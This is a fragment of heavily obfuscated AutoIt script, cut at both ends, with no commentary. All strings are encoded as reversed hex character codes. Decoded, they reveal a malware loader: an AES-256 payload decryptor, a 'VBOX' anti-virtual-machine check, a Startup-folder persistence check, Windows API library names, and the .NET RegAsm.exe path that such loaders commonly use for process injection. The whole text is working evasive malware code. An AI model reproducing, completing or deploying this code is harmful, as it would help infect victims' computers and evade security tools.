(STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) ] LOCAL $VFSAPSBOZK FOR $PJVPZUDBLTIALBR = 0 TO 61 $VFSAPSBOZK &= CHRW ($IWXKFZ_QLWVQBQNZEXKY [$PJVPZUDBLTIALBR ] ) NEXT RETURN $VFSAPSBOZK ENDFUNC FUNC RVTGQFZSMSBLEKGEDTLP () LOCAL $WNHLYMPPIFKMYOPIXJHU [4 ] = [EXECUTE (STRINGREVERSE ("26x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $DNIHDRKKGH FOR $YARACYQIFRZBCLU = 0 TO 3 $DNIHDRKKGH &= CHRW ($WNHLYMPPIFKMYOPIXJHU [$YARACYQIFRZBCLU ] ) NEXT RETURN $DNIHDRKKGH ENDFUNC FUNC AQQTSZWCMDAILFWCHKAC () LOCAL $WNYMP_JXCUBWEEDLYFKV [62 ] = [EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) ] LOCAL $MSEDSPZZSC FOR $ZLDMSVEDSCPWAOX = 0 TO 61 $MSEDSPZZSC &= CHRW ($WNYMP_JXCUBWEEDLYFKV [$ZLDMSVEDSCPWAOX ] ) NEXT RETURN $MSEDSPZZSC ENDFUNC FUNC DECDATA ($EPKWMKYOTLUDAHNTDSRL_IHFXJ_BU , $KEY ) $EPKWMKYOTLUDAHNTDSRL_IHFXJ_BU = BINARYTOSTRING ($EPKWMKYOTLUDAHNTDSRL_IHFXJ_BU ) $EPKWMKYOTLUDAHNTDSRL_IHFXJ_BU = _CRYPT_DECRYPTDATA ($EPKWMKYOTLUDAHNTDSRL_IHFXJ_BU , $KEY , $CALG_AES_256 ) $EPKWMKYOTLUDAHNTDSRL_IHFXJ_BU = BINARYTOSTRING ($EPKWMKYOTLUDAHNTDSRL_IHFXJ_BU ) RETURN $EPKWMKYOTLUDAHNTDSRL_IHFXJ_BU ENDFUNC FUNC CVIXCCQGWWVVKETLPWRO () LOCAL $OVWCPXYGLQZMUEWERETB [12 ] = [EXECUTE (STRINGREVERSE ("B6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $HZFIFEJUGY FOR $TKSTDXURXZMATSB = 0 TO 11 $HZFIFEJUGY &= CHRW ($OVWCPXYGLQZMUEWERETB [$TKSTDXURXZMATSB ] ) NEXT RETURN $HZFIFEJUGY ENDFUNC FUNC NOOGSPOYLHTCGKMQKIJF () LOCAL $CWWKLPYIEAJPPDGFAGSH [4 ] = [EXECUTE (STRINGREVERSE ("65x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("F4x0" ) ) , EXECUTE (STRINGREVERSE ("85x0" ) ) ] LOCAL $RSEVCSGULX FOR $XKWNFBWFZFMFOVM = 0 TO 3 $RSEVCSGULX &= CHRW ($CWWKLPYIEAJPPDGFAGSH [$XKWNFBWFZFMFOVM ] ) NEXT RETURN $RSEVCSGULX ENDFUNC FUNC YGTTOEZSPRDQOEMDWGHR () LOCAL $YLTGQQGGJKKVGSTNWMLV [62 ] = [EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) ] LOCAL $MNNCZZTIEG FOR $QVVTZGSMBMQWNOE = 0 TO 61 $MNNCZZTIEG &= CHRW ($YLTGQQGGJKKVGSTNWMLV [$QVVTZGSMBMQWNOE ] ) NEXT RETURN $MNNCZZTIEG ENDFUNC FUNC ULFJZFGIKSCZNPZQMOJO () LOCAL $XPRZEJMHEXOSZYPCURDZ [1 ] = [EXECUTE (STRINGREVERSE ("D5x0" ) ) ] LOCAL $FTGFPSZENE FOR $UFVYZXPQSSGYWZO = 0 TO 0 $FTGFPSZENE &= CHRW ($XPRZEJMHEXOSZYPCURDZ [$UFVYZXPQSSGYWZO ] ) NEXT RETURN $FTGFPSZENE ENDFUNC FUNC GIOALGXSUREUOUZYMWK_ () LOCAL $MYXIV_NYYMRNRLOKFVXP [62 ] = [EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) ] LOCAL $ILFFMT_UH_ FOR $VJJQEBGCYQGJQUB = 0 TO 61 $ILFFMT_UH_ &= CHRW ($MYXIV_NYYMRNRLOKFVXP [$VJJQEBGCYQGJQUB ] ) NEXT RETURN $ILFFMT_UH_ ENDFUNC FUNC PBDKFNGJOQKWCKNCMFAI () LOCAL $WZLGR_LKVGRH_LITWAMO [62 ] = [EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) ] LOCAL $QQYTFCWOIY FOR $JALRSPFAKHPHMOO = 0 TO 61 $QQYTFCWOIY &= CHRW ($WZLGR_LKVGRH_LITWAMO [$JALRSPFAKHPHMOO ] ) NEXT RETURN $QQYTFCWOIY ENDFUNC FUNC SPDJOIIADYQWLKVBPAQT () LOCAL $WLFYCJLWDPTDTMVEYXEM [54 ] = [EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("75x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("D4x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("66x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("E4x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("45x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("B6x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("67x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("76x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("87x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) ] LOCAL $HKEHEXLXOF FOR $QHDTHICEURAFLMH = 0 TO 53 $HKEHEXLXOF &= CHRW ($WLFYCJLWDPTDTMVEYXEM [$QHDTHICEURAFLMH ] ) NEXT RETURN $HKEHEXLXOF ENDFUNC FUNC DTHNKJTKWTYXSFXOQOES () LOCAL $OJLVAZNABUWVXSPHAHFC [12 ] = [EXECUTE (STRINGREVERSE ("B6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $UIMMMWSIBX FOR $IANOPIDLB_YUOZH = 0 TO 11 $UIMMMWSIBX &= CHRW ($OJLVAZNABUWVXSPHAHFC [$IANOPIDLB_YUOZH ] ) NEXT RETURN $UIMMMWSIBX ENDFUNC FUNC AWRGGXRWTNLI_TIDXHQY () LOCAL $HUTIIKYBREHUVPEIDYMK [5 ] = [EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) ] LOCAL $GDJXVYPFOG FOR $RIKDX_WXXTEHHQC = 0 TO 4 $GDJXVYPFOG &= CHRW ($HUTIIKYBREHUVPEIDYMK [$RIKDX_WXXTEHHQC ] ) NEXT RETURN $GDJXVYPFOG ENDFUNC FUNC WGAXYFBKQQAANNJOZPDE () LOCAL $AOKUVIBLZOHWZQRCAFZG [12 ] = [EXECUTE (STRINGREVERSE ("B6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $HWHCPDQLCI FOR $_NZXLVVLJYDUYCO = 0 TO 11 $HWHCPDQLCI &= CHRW ($AOKUVIBLZOHWZQRCAFZG [$_NZXLVVLJYDUYCO ] ) NEXT RETURN $HWHCPDQLCI ENDFUNC FUNC KOXBSOLXFHUOMHDCULSQ () LOCAL $_PNMZMMGXDSXBHUJMLHJ [1 ] = [EXECUTE (STRINGREVERSE ("C5x0" ) ) ] LOCAL $VBKDFCFZCQ FOR $HCIISEHGIOKQHMK = 0 TO 0 $VBKDFCFZCQ &= CHRW ($_PNMZMMGXDSXBHUJMLHJ [$HCIISEHGIOKQHMK ] ) NEXT RETURN $VBKDFCFZCQ ENDFUNC FUNC TCJVQVMAMEIVINXNAWUY () LOCAL $CJHRJUSRMMORAPHHHBDI [7 ] = [EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("A2x0" ) ) ] LOCAL $JVSMWCVOAQ FOR $FAYDGCQPYAXSDSE = 0 TO 6 $JVSMWCVOAQ &= CHRW ($CJHRJUSRMMORAPHHHBDI [$FAYDGCQPYAXSDSE ] ) NEXT RETURN $JVSMWCVOAQ ENDFUNC FUNC ZVWDRPDXHOMAZCKYYBHE () LOCAL $QCVGFSXODB_HBNUAURHN [12 ] = [EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("67x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $XAQYYSPTFO FOR $ACZJPFOLFNFKFLY = 0 TO 11 $XAQYYSPTFO &= CHRW ($QCVGFSXODB_HBNUAURHN [$ACZJPFOLFNFKFLY ] ) NEXT RETURN $XAQYYSPTFO ENDFUNC FUNC CXULRAMOAWUXLW ($SFILEPATH ) LOCAL $ZZYQLZOQCMKQHKIGEJWNGIEGLNGN_ = $KGFMJBMSCLPZEEDOLNFUMTHDOKBOZLTMWJJXBKLSWPKXIWFBQQUJ (DTHNKJTKWTYXSFXOQOES () , CA_RPNJJBKOWXFSWBYCX () , WLGSKSGMPIRUJRYPGBDM () , WBPULKRRFXOWJRRORBVU () , $SFILEPATH ) RETURN $ZZYQLZOQCMKQHKIGEJWNGIEGLNGN_ [0 ] ENDFUNC FUNC JCFVOCAPDSPI ($TYPE , $TITLE , $BODY ) IF @SCRIPTDIR <> $STARTUPDIR THEN $VEBCAEGIPCGPYEOUIWOETKLBBYIHBMWTNFJWTIRPFN ($TYPE , $TITLE , $BODY ) ENDIF ENDFUNC FUNC LOFIKAPQXHAGJHKJJWNE () LOCAL $W_APUJVRXE_ACNHQA_NF [5 ] = [EXECUTE (STRINGREVERSE ("46x0" ) 